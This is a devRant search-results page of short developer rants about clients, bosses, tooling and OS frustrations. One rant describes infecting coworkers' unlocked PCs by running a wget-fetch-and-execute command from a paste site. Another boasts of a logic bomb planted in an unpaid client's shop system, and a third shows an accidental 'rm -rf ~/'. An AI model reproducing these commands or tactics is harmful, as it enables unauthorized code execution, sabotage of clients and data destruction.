Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API

From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "always"
-
A good rule of thumb when developing applications with a good user experience is to assume that your user is the dumbest person that is walking this planet right now, and make it so that one individual can figure out how to use your application.
Good luck..26 -
Spent two goddamn hours writing a Python script to convert exported JSON from Trello to an Excel sheet, only to find a Chrome extension that already does it, and better. 😧3
-
How to present your app/library more positively:
It's slow and bulky -> "It's feature-rich"
It hardly does anything -> "It's lightweight"
It has no comments -> "It's self-documenting"2 -
Client: Please remove the address inputs from the inquiry form. Our marketing strategist said that more people will fill out the form if there are less input fields.
Me: But you are required by law to include the address in the generated inquiry PDFs!
Client: Can you remove the fields and still include the address in the PDF somehow?
Me: No. How would the website know the users address without asking for it.
Client: Okay. Wait! Can we change the form to just one large input where the user has to enter everything at once? That is even less inputs so more users would do it, right?
Me:...6 -
Still haven't been paid for completed a retail shop project. But all is well, since the system will not start on Black Friday till I remove the if condition 😈10
-
Quit job: ✔️
Created brand 🎧: ✔️
Registered on popular platforms: ✔️
Publish new content: ▶️
Sometimes it's a great feeling when you changing your self vector and start to spent time on something new that you have wanted to try out or didn't spent enough time before.
Yesterday I were full stack developer, today - independent musician which tries to spread his feelings and vision.15 -
Having a non technical boss is such a pain. He thinks all the features should be a piece of cake. There should be a course in business departments where people will be taught how programming works.5
-
!dev
New year's resolutions:
1) Rid and keep my life free of toxic people. This includes parents.
2) Find a well-paying job that isn't also toxic.
3) Take care of myself for a change!
4) Stop putting up with things I don't have to.
5) Actually enjoy things I enjoy.
6) Finally buy a harp. I've wanted one since I was 3 ffs.
7) Finish de-googling my life.undefined i am a girl you twits! toxic? snip. snip. resolutions parents always said a harp was too girly10 -
Waisting some times on codewars.com
~~~~
3 kyu challenge:
Given a string with mathematical operations like this: ‘3+5*7*(10-45)’, compute the result
~~~~~
*Does a quick and easy one liner in python using eval()*
*sees people actually writing some 100 lines parsing the string and calculating using priority of operation*
Poor them...
(Btw, passed to lvl 4 kyu thx to this)14 -
HW issue causing blue screens? Windows' fault.
Driver bug? Windows' fault.
A program crashing? Windows' fault.
"Forced" updates you could've turned off? Windows' fault.
You have no common sense? Windows' fault.
Your girlfriend leaving you? Windows' fault.
Let's blame Windows because I got nothing else to blame.28 -
I had this prepared in advance and executed on April 1st few years ago.
1. I wrote an app in Python that would autostart self & listen to UDP multicast and spam screen with message boxes once a special "magic" UDP broadcast kicks in. The app had minimum dependencies and used native libs for GUI to achieve this.
2. I posted this app source code on sprunge.us and remembered the short URL.
3. Once one of my coworkers left their PC unlocked, I opened their terminal and executed '$(wget -c sprunge.us/ASDF)' and closed the terminal as if nothing happened. I infected almost all machines this way.
4. On the April 1st I get to my office, open the terminal, send a magic UDP broadcast packet anf enjoy the chaos.
Man, that was hilarious.2 -
Short version:
Dear devRantdairy,
today I was stupid.
The End.
Full version:
I am working on some messaging system, trying to use less as possible overhead sending data. Therefore there of course are asynchronous calls and some templating. But that's just the setting of the rant: I designed an architecture to save conversations in a database. Working with transactions in pdo I wrote a query wich in my eyes should have worked well. But the result just didn't appear in the table. So I started debugging data. Recreated the table. Rewrote the query. Went to bed. Woke up. Further tryed to make this work. And in the end I realized I just forgot to commit the transaction.
How dumb can you be? There's way too much time gone for that mistake. Is there a hole? I want do dig myself.9 -
I swear to god, I'm going to track down the dipshit who just made my day hilariously painful.
So here I am, finishing up this project that's been going on for what feels like an eternity, when I get an email "why doesn't order X show up in this other system?".
I mean, it's a common thing they can take 15 minutes to push across, so the usual quick glance and what do you know, it's just sitting there as if it's waiting to be pushed through, than an hour later... it's still there, so I start digging, maybe a data issue, nope looks all good, customer details, payment details, products...
just another order, jump on the logs and all looks fi......... wait.... why does this postcode have 3 digits and not 4 , Australia has 4 digit postal codes fyi, looks at order again, 3 digits, look at log, 3....hold on why's it only 3 digits, checks code, handled as string... ok..... where the fuck would it drop a digit.... frontend requires 4 digits, validation requires 4 digits... how the fuck did you get 3 digits in... I can't see anything anywhere that logically makes sense for this🤔
Drops address into google and it's a postcode starting with 0.
Jumps on DB and the fucker is an int in the postcode table. For all you playing at home 0123 <> 123
I don't know if I should feel bad, or impressed, it's been 7 years since this table was created, and 7 years before someone managed to live in one of these parts of the country with a leading 0.
QA didn't spot this years ago,
No one tested this exact scenario,
The damn thing isn't even documented as a required delivery area, but here we are!
Kudos good sir, you broke it! 🤜 🤛
You sir may get your order now!rant cover every possibility always suspect the unexpected my problem now! not my fault 😅 data how dafuq was that even missed11 -
Reinstalling arch. I broke it while grading homework. Sad. Also worried my phone is going to ring and I'm going to not have my laptop ready.17
-
Lost half a work day because of an ISP outage. (Testing mailers doesn't work without a connection)
Turns out it was a loose cable on our modem that happened to coincide with the ISP outage elsewhere.
Ugh.1 -
Rant1
Company calls today. Offers me a job which is great i have been looking for 7 months.
Rant2
Today hurricane irma is coming its getting close gas stations are out of fuel. No water at stores. Chaos on the roads.
Rant3
Company asks me to come in Tommorow for interview. 😑9 -
Does anyone actually use the searchbar on StackOverflow? All these years of development and I still haven't used it.13
-
Yeah sure, you can have your site files and database. Host it yourself. Get your cousin to maintain it. Go ahead. Yeah, sure, you're gonna do ~really~ well. Bye bye, ya micro-managing fuck nugget :D3
-
At work for a bank, I changed the target SQL Server in my SSIS project and arbitrarily, all my custom-coded scripts were erased!!
I didn't take backups and I spent a week coding them! Fuuuuuuuuuckkkkk 😠
Ended up rewriting them.
I learned my lesson... 😥2 -
When I'm tired, I can't do a damned thing. If it takes effort or concentration, I'm useless. Games are just frustrating. If it's something enjoyable, I simply can't care enough to enjoy it. If I read a book, I can't focus on the words, and won't remember anything I read. If its mindless like watching Netflix, I won't remember the next day, or rather I'll remember just enough to ruin it for myself.
So why not sleep?
Because I've been feeling like this every day, all day long for months. No, that vile liquid called coffee doesn't help. If I rest my eyes and stop thinking for a few minutes, I wake up a little and can function normally for a minute or two before passing out again. I'm not depressed, or at least I don't think I am. I feel like my brain died or got replaced with a lizard's.
And this sucks because I'm still during the probation period at work, and learning the sprawling and intricate codebase is actually challenging. And they're giving me large tickets because I was a dummy and impressed them too much.
Idk what's wrong with me, but I hope it stops soon.
I miss being able to think and plan and do anything besides just struggle to stay awake. 😞16 -
Root gets ignored.
I've been working on this monster ticket for a week and a half now (five days plus other tickets). It involves removing all foreign keys from mass assignment (create, update, save, ...), which breaks 1780 specs.
For those of you who don't know, this is part of how rails works. If you create a Page object, you specify the book_id of its parent Book so they're linked. (If you don't, they're orphans.) Example: `Page.create(text: params[:text], book_id: params[:book_id], ...)` or more simply: `Page.create(params)`
Obviously removing the ability to do this is problematic. The "solution" is to create the object without the book_id, save it, then set the book_id and save it again. Two roundtrips. bad.
I came up with a solution early last week that, while it doesn't resolve the security warnings, it does fix the actual security issue: whitelisting what params users are allowed to send, and validating them. (StrongParams + validation). I had a 1:1 with my boss today about this ticket, and I told him about that solution. He sort of hand-waved it away and said it wouldn't work because <lots of unrelated things>. huh.
He worked through a failed spec to see what the ticket was about, and eventually (20 minutes later) ran into the same issues Idid, and said "there's no way around this" (meaning what security wants won't actually help).
I remembered that Ruby has a `taint` state tracking, and realized I could use that to write a super elegant drop-in solution: some Rack middleware or a StrongParams monkeypatch to mark all foreign keys from user-input as tainted (so devs can validate and un-taint them), and also monkeypatch ACtiveRecord's create/save/update/etc. to raise an exception when seeing tainted data. I brought this up, and he searched for it. we discovered someone had already build this (not surprising), but also that Ruby2.7 deprecates the `taint` mechanism literally "because nobody uses it." joy. Boss also somehow thought I came up with it because I saw the other person's implementation, despite us searching for it because I brought it up? 🤨
Foregoing that, we looked up more possibilities, and he saw the whitelist+validation pattern quite a few more times, which he quickly dimissed as bad, and eventually decided that we "need to noodle on it for awhile" and come up with something else.
Shortly (seriously 3-5 minutes) after the call, he said that the StrongParams (whitelist) plus validation makes the most sense and is the approach we should use.
ffs.
I came up with that last week and he said no.
I brought it up multiple times during our call and he said it was bad or simply talked over me. He saw lots of examples in the wild and said it was bad. I came up with a better, more elegant solution, and he credited someone else. then he decided after the call that the StrongParams idea he came up with (?!) was better.
jfc i'm getting pissy again.9 -
Kudos to @trogus and @dfox for introducing the new refresh button on the nav bar instead of the odd position at the end of the comments.
It's looking awesome now.
Note: If the screenshot violates anyones privacy. Let me know. It is just a random screenshot16 -
!Rant
*Whenever there's a big hacking thing that happened in cyberspace and the media gets the footage*
"Hey! You! you the website developer. Can you like get a hoodie and smash the keyboard."
"Why?"
"Big virus leak"
"But that's not ha.."
"SHUT THE FUCK UP AND GET THE HOODIE ALREADY"undefined and also probably am i overthinking this? the nsa is watch.. news shhh they don't need to know about that that's why there's always html code there what5 -
when you wake up saturday noon just to see your phone having 10 missed calls from the same unrecognized number, dial back and find it to be a mad client,
complaining about some graphic issues on a site you have nothing to do with.
checking the site; there is nothing wrong so you tell him to clear his browser cache.
he gets mad shouting a silly programmer shall not tell him what to do with his computer and its the site, not his browser.
i ask him if there is the same issue with another browser or computer..
he giggles a little then turn silent..
2mins or so later, he says: i'm gonna let your boss know about this then hangs up..2 -
S = Some person I know
Me = Me
S: Hey, I heard you also do [software/web development].. I was hoping to get some advice from you about some advanced level HTML and CSS for my classes.
//or that if I could teach him something
Me: What do you study?
S: Oh, I teach.
Me: 😯 Really? What do you teach?
S: Oh, just some basic HTML and CSS with Notepad to about 50-60 students.
Me: (;﹏;) That's great.
/*this is a shortened version of a very long conversation*/
They teach some basic HTML and CSS like <table> and <marquee> and stuff. They also teach C++ and Tally ERP.
Also, he and some other person made their small intuitions' website but they don't know how to put it online. They made it in, as far as I understand, simple HTML and CSS USING NOTEPAD (Don't know if they used JS or something else). That's.. really courageous or something... ? I don't know, I couldn't have a look at it because they have it on their local computer and don't know what Git is.
I showed him some better alternatives and ways that they could use (editors, version control, db, etc.) to improve their curriculum and answered his questions, and I told him that I'll try to help in any way I can if they ever need me.
This also made me realize how much I've learned and grown since I first started learning C in school. Still, I've got so much more that I need and want to learn.
//Always keep learning
😊
PS. What would you've told him if you had been in my place?1 -
Javascript makes me want to flip
the table and say "Fuck this shit", but
I can never be sure what "this" refers
to.5 -
I just finish "rebuilding" a page that I have built last year. My Js file (jQuery) went from 1200+ lines to 600..
I rewrite everything, the functionality is the same but the code is mush more cleaner.
Soo bad and redundant code.
Although comments where very helpful.
Feels good. -
I really wish I had started using version control sooner. 76 contributions on my GitHub this year, 52 of them are from this month 🙈4
-
So I'm back from vacation! It's my first day back, and I'm feeling refreshed and chipper, and motivated to get a bunch of things done quickly so I can slack off a bit later. It's a great plan.
First up: I need to finish up tiny thing from my previous ticket -- I had overlooked it in the description before. (I couldn't test this feature [push notifications] locally so I left it to QA to test while I was gone.)
It amounted to changing how we pull a due date out of the DB; some merchants use X, a couple use Y. Instead of hardcoding them, it would use a setting that admins can update on the fly.
Several methods deep, the current due date gets pulled indirectly from another class, so it's non-trivial to update; I start working through it.
But wait, if we're displaying a due date that differs from the date we're actually using internally, that's legit bad. So I investigate if I need to update the internals, too.
After awhile, I start to make lunch. I ask my boss if it's display-only (best case) and... no response. More investigating.
I start to make a late lunch. A wild sickness appears! Rush to bathroom; lose two turns.
I come back and get distracted by more investigating. I start to make an early dinner... and end up making dinner for my monster instead.
Boss responds, tells me it's just for display (yay!) and that we should use <macro resource feature> instead.
I talk to Mr. Product about which macros I should add; he doesn't respond.
I go back to making lunch-turn-dinner for myself; monster comes back and he's still hungry (as he never asks for more), so I make him dinner.
I check Slack again; Mr. Product still hasn't responded. I go back to making dinner.
Most of the way through cooking, I get a notification! Product says he's talking it through with my boss, who will update me on it. Okay fine. I finish making dinner and go eat.
No response from boss; I start looking through my next ticket.
No response from boss. I ping him and ask for an update, and he says "What are you talking about?" Apparently product never talked to bossmang =/ I ask him about the resources, and he says there's no need to create any more as the one I need already exists! Yay!
So my feature went from a large, complex refactor all the way down to a -1+2 diff. That's freaking amazing, and it only took the entire day!
I run the related specs, which take forever, then commit and push.
Push rejected; pull first! Fair, I have been gone for two weeks. I pull, and git complains about my .gitignore and some local changes. fine, whatever. Except I forgot I had my .gitignore ignored (skipped worktree). Finally figure that out, clean up my tree, and merge.
Time to run the specs again! Gems are out of date. Okay, I go run `bundle install` and ... Ruby is no longer installed? Turns out one of the changes was an upgrade to Ruby 2.5.8.
Alright, I run `rvm use ruby-2.5.8` and.... rvm: command not found. What. I inspect the errors from before and... ah! Someone's brain fell out and they installed rbenv instead of the expected rvm on my mac. Fine, time to figure it out. `rbenv which ruby`; error. `rbenv install --list`; skyscraper-long list that contains bloody everything EXCEPT 2.5.8! Literally 2.5 through 2.5.7 and then 2.6.0-dev. asjdfklasdjf
Then I remember before I left people on Slack made a big deal about upgrading Ruby, so I go looking. Dummy me forgot about the search feature for a painful ten minutes. :( Search found the upgrade instructions right away, ofc. I follow them, and... each step takes freaking forever. Meanwhile my children are having a yelling duet in the immediate background, punctuated with screams and banging toys on furniture.
Eventually (seriously like twenty-five minutes later) I make it through the list. I cd into my project directory and... I get an error message and I'm not in the project directory? what. Oh, it's a zsh thing. k, I work around that, and try to run my specs. Fail.
I need to update my gems; k. `bundle install` and... twenty minutes later... all done.
I go to run my specs and... RubyMine reports I'm using 2.5.4 instead of 2.5.8? That can't be right. `ruby --version` reports 2.5.8; `rbenv version` reports 2.5.8? Fuck it, I've fought with this long enough. Restarting fixes everything, right? So I restart. when my mac comes back to life, I try again; same issue. After fighting for another ten minutes, I find a version toggle in RubyMine's settings, and update it to 2.5.8. It indexes for five minutes. ugh.
Also! After the restart, this company-installed surveillance "security" runs and lags my computer to hell. Highest spec MacBook Pro and it takes 2-5 seconds just to switch between desktops!
I run specs again. Hey look! Missing dependency: no execjs. I can't run the specs.
Fuck. This. I'll just push and let the CI run specs for me.
I just don't care anymore. It's now 8pm and I've spent the past 11 hours on a -1+2 diff!
What a great first day back! Everything is just the way I left it.rant just like always eep; 1 character left! first day back from vacation miscommunication is the norm endless problems ruby6 -
"It's just a tiny change in one function. What can go wrong? I don't need to test, I'm not that stupid to mess this up". Apparently I am. Pushed the changes, and the [Firefox] extension basically stopped working. Lost about 1.5k users in 2 days. Good times ;)2
-
Yesterday I spent some time on the meta site for dba.stackexchange.com and found this one guy with 1 rep raging about how his questions aren't getting answered and how is answers are the best etc...
"I have 17 years of experience as a dba, blah, blah, blah, my answers are correct, blah, blah"
He got pretty destroyed by the mods and other users about how shit his answers were and how they weren't factually correct etc...
This just continues to show that no matter how much experience you have you won't always be right.
Same goes for my senior at work, he has 10 years more experience than me (I have 2) and he still asks for my point of view and help without being a dick about it.
I hope we'll all keep being nice people unlike that Stackexchange guy...2 -
Just about to start a milestone presentation, when suddenly the boss froze and yelled:
"Wait! Don't move! There is a bug, let me take it back to nature where it belongs..."
*Grabs a bug on my shoulder and carries it to the window*4 -
today I pull a project to take over from my colleague
today I notice all commits where on master branch
today I leave this world T_T19 -
Using FireFox Dev edition:
Me: Cool a new update, lets hit update and restart button.
*two seconds later*
Me: FUUUUUUUCK, I was using incognito and now all my tabs are gone -.-8 -
After 1 month of not writing a single line of code in some language, I'm like ehhh: youtube -> tutorial (any programming language) episode 0 😰2
-
Did you guys know that SO stands for 'Significant Other' on other social platforms?!???
Filthy muggles.11 -
Well, goodbye my free time, it was a pleasure to meet you sometimes. We'll probably never see each other from now on.
Our government just voted on a law that extends overtime legally like crazy.7 -
So I was setting up my friend's NAS. Got everything worked in minutes (dns, port forwarding etc.). Enabled ftp connection tried it locally, working. Tried remotely, timed out...
After half an hour I was about to tear my hair out one by one when he suddenly said to wait a sec he knows what's the problem. Tapped two on his phone and suddenly, it's working.
THE FUCKING PHOTO UPLOADING FROM HIS PHONE TO THE CLOUD BLOCKED ALL INCOMING CONNECTIONS AND HE WAS AWARE OF THAT ALL ALONG. WHAT THE FUCK MAN, DO YOU ENJOY SEEING ME STRUGGLE?? That was literally an "I'm out" moment. -
| Me and my team presenting an half-assed AI project to our lecturer.
Note that the algorithm doesn't work and we have a placeholder |
Lecturer after looking only at the UI: The project looks very good, I believe we are done here.
Team member: Don't you want to check the code?
Me: *trying to choke him without anyone noticing*
Lecturer: No need.
Lives were saved that day.3 -
Dear, google chrome browser. Please stop taking up so much RAM. You are a browser not a game. Worst browser ever.13
-
I work in big data and security analytics... So naturally I am a very detail oriented and analytical person.... Something that I constantly get told off about for 'over analysing' every personal situation.... Especially by my wife!
Today she was chatting to our best friend on WhatsApp who's been travelling Europe for 6 months seeing how life is etc... At the end of the conversation I point out he never once told her where he was and avoided the questions.... And that I was sure he was gonna turn up tonight....
She tells me I'm over analysing and full of it as she's in Spain.... Not even an hour later he walked through our front door and we are in the pub having an awesome catch up!
Who said I'm over analytical! More like right!?2 -
Soooo it's Monday........ 🤯
@C0D4 started the day fixing current projects defects (4 tickets smashed before coffee 💪)
Then after coffee, run a test coverage report and see a significant decline over the past few months, so spends a couple hours adding more tests to get some areas filled in - meh, nothing like 50+ lines per test... to test a if() statement but whatever - complex scenarios will be complex to get too, but no my tests break and I'm missing data I didn't know about🤦♂️
So let's comment all that out, and go to lunch ... mmmm lunch.
Get back, start working on those again, and then get handed a new issue, so comment that all back out again, ( ok I know what you're thinking, but I'm working in an environment that does not use git for deployments - don't ask, real pain in the ass I haven't had time to invest into yet - but as code versioning only) anywho, starts to workout this new issue but don't figure it out, enter a 30 minute meeting.................. yea that was 2 hours later but was a very practical whiteboard session only to work out I have something like 16-20 weeks of work over 4-5 projects to get out in like 6 weeks... hahahahahahaha fml..... oh and that's excluding another project which had a 6 weeks of work in the pipeline to get to somehow.... I'm not seeing this one happening, and probably conflicting projects needed on top of that down the track... but we'll leave those out for now!
Whoot is fucking home time!!!
🤷♂️I'm starting to think I'm like a team of 5-10 devs right now, maybe I should start asking for 5-10x more 😏
#letsBringOnTuesday!!!!4 -
!rant
Hey devRant!
Built my pc today, so I would be welcomed to both devRant and PC Master Race at the same time 😄8 -
A big shout out to all the polyglot developers out there who understand that languages and frameworks are just tools with trade offs.
May we always evaluate thoroughly and choose the best tool for the job at hand.
Cheers 🍻
Bonus Round:
What tools are you currently wielding while reading this rant?7 -
I lost all my data from a terrible accident. By using recovery software over the course of a week (because the computer I had to use to recover it was less than adequate), I managed to recover most data. Upon restoring the data to the SSD, there was numerous corruption issues, strange glitches, etc. I tried running many system recovery tools, repairing the registry, disk check, everything. Today, I could not install Visual Studio Community updates because... it couldn't. It just popped up a blank window and that's it. I tried everything. Eventually, that combined with every other issue I've had, apps not working because of corrupt files and having to reinstall basically everything I've tried to use anyway, I decided to do a clean install.
So I'm waiting for many many many installers, right now. Nanite was only the tip of the ice berg. I guess what I'm trying to say is...
How's everyone doing? :)2 -
A morbid realization (I am just wasting your time keep scrolling)
Unless someone takes a stand for the user, and their comfort and requirements, unless someone looks a client straight in the eye and says "no, I will not do that, and neither will my team" and denies them their request, nothing will change, good devs will keep losing their spark to save themselves frustration, good people will walk away and the tyranny that we face daily grows... unless someone stands up, someone who cannot be knocked down, or reprimanded and told they're wrong for fighting for what's right.. unless someone stands up for what is right and fair... nothing changes... and nothing ever will... poor programs, bad games and content, lower standards, frustrated users, annoyance that you don't matter as a user or a dev will never go away... unless someone says enough. But no one will, money is the boss, morality a liability, and people an abundant resource. This world is backwards, devs are carrying the blame and no one who is able, cares enough to say "that's enough!".13 -
Alright, biiiiig rant time.
Shitty webdevs who randomly use an entire framework for some tiny feature in the middle of their codebase because they couldn't figure out how to do it with native and completely fucking up their syntax, consistency and standards set beforehand (not that there were any to begin with, this dude program's like 3-4 people just jumbled all their crap into one massive pile).
Not only that but throughout the entire backend this guy flip-flops on passing an the error value before results in his callbacks, so now i have to check his functions everytime I use them after spending 2-3 sessions debugging to figure out wtf was going wrong.
Please for the love of god, if you wanna dance to your own beat, LEAVE COMMENTS4 -
So, the reason I couldn't save screenshots to ~/Screenshots is that the directory doesn't exist.
But ~/Screenschots does2 -
Sometimes you get too used to everything, that you forget to be humble and curious, to explore and learn new things all the time. I miss the time when I say:oh this shit is cool, I am gonna try it out.
Glad someone knocked this back into me. -
By the time I’m able to put my baby girl to sleep, I get hungry again.....
I just remembered, I haven’t had pizza in a long time now...14 -
While being stuck in the experiment room yesterday, I was thinking that it's the perfect place for a quickie, but then realized I got nobody to share the spot with. 😐
Fml.13 -
I wish I could just destroy Apple, and its fucked up IDE!
About the image:
I'm using an array of object ("SearchFilterse") called: searchFilters IT IS A FUCKING ARRAY!
What is XCode complaining about:
completion function requires an array of "SearchFilters" and the variable "searchFilters" is not an array
if xcode could only understand the line just above "completion(result, searchFilters) it will fucking understand that I'm using a goddamn array!
and if I apply its proposed solution it tells me: Cannot use [[SearchFilters]] required is [SearchFilters]
I hate my life :)undefined apple xcode = shit on shit! shit apple let me code! apple always fucks up with devs xcode apple fucked up again! -
I know I added a rant to wk65 already, but this is another one.
At my final project at school, I made an app that registered all your medicine, surgeries, appointments and medicine alarms, so it worked as a medical history. It also was able to show on the lock screen, in case of emergency, your allergies and recent but dangerous surgeries.
At the presentation day there were 3 guys, me and two of my colleagues. The first one had a car dealership tracker, really awesome app, which I helped build by teaching him everything I knew about Android, I didn't do any code, I really just taught him. The second guy, he made a pharmacy tracker, to which, again, I helped make without doing MOST code (I helped on obtaining GPS data). First presentation was awesome, second presentation was really boring because the guy was constantly showing the judges that the app could detect when you were offline (really simple to do).
At my presentation, I thought it was horrible, super nervous and I even thought I was trembling.
So, then, the judges spoke, apparently they knew I helped the previous two, they thought I had the best app, they thought I had the best presentation and needless to say, I got 20/20 on the project. One of the judges even said that if I was selling the app, he'd buy it.
The second colleague didn't like that, and I later found out he was focusing so much on that offline stuff because he wanted to show he was better than me, shows that I really need to see who I really should help...
I felt really really badass after that day, because I left the school, and to this day, I had the best app/project and grades that school had seen and given. Even more when the school offered me a scholarship!3 -
"OMG WE MISSED SOMETHING WE NEED AN EMAIL SENT TO EVERYONE IF X HAPPENS AND NOBODY DID A THING WITHIN AN HOUR!"
Ok done.
"OMG WE NEED IT SENT IF NOBODY DID A THING EVERY 30 MINUTES"
Um... not sure we're solving this problem right way ... but there you go done.
"OMG SOMEONE GOT AN EMAIL AFTER 45 MINUTES AND NOT 30 MINUTES"
Bro who the fuck knows why that happened, it's email not instant messenger .... that's what I meant by us solving this in the wrong way, email for this is dumb... how about we solve this process problem in some other way or you just fuck off ... this isn't a coding issue this is something else...4 -
Fffuuuck you Nvidia, you worthless piece of shit company. There's a part of the world that doesn't use Windows. Grow the fuck up. Torvalds gesture makes complete sense when you get a new kickass laptop, load kickass fedora 25, but are unable to tap into it's graphic potential. You spend 2 days trying to install the fucking driver. The next day you decide to follow one blogpost instead of 2 and You're forced to reinstall fedora and the cycle repeats. The past 4 days have been painfully unproductive.11
-
Finally installed Linux(Mint) on my laptop.
I guess I'll need to install some essential things that I need to really make use of it. I'm just exploring right now and so far, I'm loving it.
Got really tired of the BSOD that Windows kept giving me.
I've tried a few solutions, but it seems like it has made its comfortable nest inside and shows its sad face whenever it feels like it and ruins my important work (not really, but it really pisses me off)
Can't get rid of Windows completely because I need it for various reasons.
I've used Linux(Red Hat) before and also my university computers have Red Hat installed.
I would've also installed it on my PC, but it doesn't work right now.
Thanks,guys!
(For making me want to use Linux)
I really have a lot to learn.
PS - I can barely see what I'm typing here. Is it just me or is it really just bright as shit? (On web, of course)9 -
!rant
I’ve worked at six companies over my 10 years of professional programming. All companies say they track internet usage of the employees. This is the first company I have worked for that sends you a weekly summary of sites that you visit.5 -
I bought a keyboard 3 months ago for 4usd.
Feels and works better than my old mechanical keyboard of 60usd.2 -
What is this “successful project” of which people speak? It is an elusive creature which I have not hitherto observed.4
-
You're gonna use the 3D printer she said… You're gonna learn JavaScript she said… nope, all we learnt was three HTML tags that confused most people1
-
There are a lot of things I don't understand in life, but the fact that I need to press tab three times in xcode to select the item in the popup tooltip is just ... I don't know fucked up?
I have a var called: isItemSelected, I need to press tab three times for it to use this option while in all other IDEs I used if it is highlighted then one FUCKING PRESS ON TAB BUTTON SELECTS THE HIGHLIGHTED SHIT !!
Fucking Apple shit -.-1 -
Alrighty, saturday morning rant time!
I just recieved a mail from one of my not-so-much-loved colleagues.
Now Background first: I work in IT-Support. We provide services for other companies. One of those services is monitoring servers and clients for various things. I recently took over the project (was assigned to do it) and restructured everything, wrote new scripts to test more stuff, successfully tested it internally and rolled it out over the last 2 weeks.
Now one of these scripts hooks into the Windows Update API and looks at the update history. It filters for known Windows Update Agent strings (UpdateOrchestrator, AutomaticUpdates and AutomaticUpdatesWuApp in case you also want to do something like this) and then looks for installation errors over the last 24 hours and wherever there have even been any successful updates over the last one and a half months.
Back to that mail.
My colleague sent me this lovely mail about a ticket i opened about his customers servers beeing all out-of-date on updates.
"This is all wrong, everything's fine. I disabled the checks."
...
It's on bitch.
So i logged on to my work PC via TeamViewer, opened my script, connected to the customer and was ready to debug the shit out of my script, knowing i probably won't even need to.
I looked at the update history via Windows Update itself and behold: 1st April. That's almost 50 days in the past.
So the script works, go figure.
Great, so search for new Updates then.
>None found.
Hm. What could it be? Did my super special colleague forget to care about his very special totally-needs-WSUS-customer WSUS again?
Yup.
Online-Search finds a ton of new Updates.
Screenshot, write pissed mail to colleague, re-enable checks, breakfast.1 -
So I came up with an interesting idea for a quick side project. "Should be doable in an afternoon," I thought to myself.
Then I sat myself down and started diagramming all the components and sections I'd need to build. Suddenly, simple project no longer seems so simple.
...dammit, not again.1 -
During Summer I'm tired because it's too hot.
Now it's getting cold, it's getting harder to get out of bed...
And the heater makes me tired too...
Plus there's the not going out or, moving as much... Which may also be due to being tired.
And well in general, I seem to not feel like doing anything lately... Because I'm tired....
Seems like my routine is consolidating to: sleep, eat, work...
And if I had a choice it would just be sleep...
I need to get out of bed now so can eat and go work..... But I don't wanna.....
Is it just me? Any tips to break the cycle?18 -
Sometimes when I read old code of mine I'm ashamed. But more often when I read others I just feel better.
(I'm talking about other webdev freelancers, not OS projects or so...) -
In This Rant: A mildly satisfying piece of mind story.
Using code to prove yourself right is a hell of a drug.
A few weeks ago I whipped up a tiny program that downloads configs from hardware we manage. Since the vendor's API documentation is hidden behind a pay wall, my method of extraction is different. It results in bigger files, but testing showed it to still be valid.
Enter today. Interns at work downloaded a config to load onto a spare machine and it won't work.
"TheCapeGreek, your configs don't work"
I was confused since I tested the files when I built it and it worked. I am also currently fleshing out that download utility's features so the fear that I've been wasting the past 2 weeks on improvements is looming.
Last 15 minutes of the day and nothing else to do so I figured I might as well whip up a string comparer. The smaller file's content is scattered in the big file so a direct diff won't work.
Code it all, quick hardcoded proof of concept code, bit it got the job done. I was right, my bigger file is still correct!
Turns out the issue was with the machine they were configuring. They found this out before I finished my test code, so I'm off the hook already, but it was good to have piece of mind haha!1 -
I just love customers:
Customer: "ftps doesnt work! It says Port blocked you are using the wrong port! Fix this now!"
Me: "did you open the port and allow it through the firewall?"
C: " yeah ofc i opened the ports on the server! Do you think i'm stupid?"
M: "On the client too?"
C: "...."
C: " let me call back in 30min" -
Fuck, fucking cock sucking stupid ass prick of a little black box, why, why the fuck do you not fucking boot any more, all you have to do is fucking boot but no, that's to much for you to fucking do!
Ah well, good thing it's only a Rpi!
It had a good life, now to wipe the card and start again! Irant no longer accepts keyboard input always on corrupt boot eject and reimage this old girl. rpi fuck it1 -
YOU FUCKING FUCK APPLE GET YOUR FUCKING SHIT TOGETHER DAMN IT!
Left work 4 hours ago and guess what fucking ipa file did not get uploaded to app store, why? no one fucking knows! I admit 4Mbit speed isn't fast but if a tiny interruption happens to the mac's connection apploader will simply drop the upload!
I don't understand NASA was able to reach Mars and Apple fails to make a fucking decent file uploader !!!!
Now I will be going to waste two fucking hours tomorrow morning for the fucking file to be uploaded! -
When you try and replace the hard drive in your dev machine because the replacement you bought for someone else doesn't work but works for you. You go to turn the computer back on but nothing comes on screen........
-
Boss: I'm not seeing the fix for the simple text change issue
Me: (who cares about little design details which said boss really likes about me) That simple text change is a long line of text and breaks on all screen sizes besides your big ass monitor, so I asked for a designers opinion, which I finally got today.
My bad for caring just a little bit... -
Listen, i really understand you want to know how much a certain resource is downloaded/viewed and so on. But what gets on my nerves is to sign up my email address every fucking time i want to see your semi-tech-but-actually-selling-you-a-pile-of-sperm-fermented-shit whitepaper . yes i know there is something called disposable email adresses and such... But if stuff is 'free' as you say you have, then make it available free!
Every time i think 'hey, this is actually relevant to my interests, let me read up more on that...' i hit the fucking 'insert your email for a free download'
Fuck off! Put your fucking form in the pits of hell and seal it in a fucking fucking dome next to fucking research subject akira with 99 fucking layers of fucking nuclear blast proof wall domes! I dont want you to fucking send me your fucking spam mails about every ideafart your sales dept has fired becausz they were high on computer cleaner spray tubes and thought 'let's trick those stupid people into our marketing scheme', go and fucking jump into a barrel of highly concentrated radioactive waste!
The only thing you manage to do for me like that is to fucking close the tab i had a slight interest in and never look back again!
Am i the only one getting angry about this?undefined always a fucking catch fuck your metrics when free isn't free signup for free stuff is bollocks2 -
>"rm -rf ~/"
>Wonder what the exact name of the file I'm deleting is
>*presses tab*
>*presses enter multiple times*
>accidentally presses "enter" when the choices are finished
>delete entire home directory
>fuck.1 -
And this early Friday leave from work is brought to you by Microsoft.
(I did triggered the first one, but I forgot my laptop had a pending update so it's not totally windows fault) -
Today I spent 4 hours testbenching and enhancing an algorithm to detect certain metric patterns only to find out that the reason the anomalies weren't picked up correctly was that their metric had some -nan values I didn't check for.... FML2
-
Transferred a lot of important files in between PC with a 32 GB thumbdrive. One time, when I needed it the most, it couldn't read. It had the original up-to-date information on everything. Backup files were old and found in either emails, in another PC somewhere else and on an ex-colleagues laptop that, due to poor office management, lost track of where that laptop is.
-
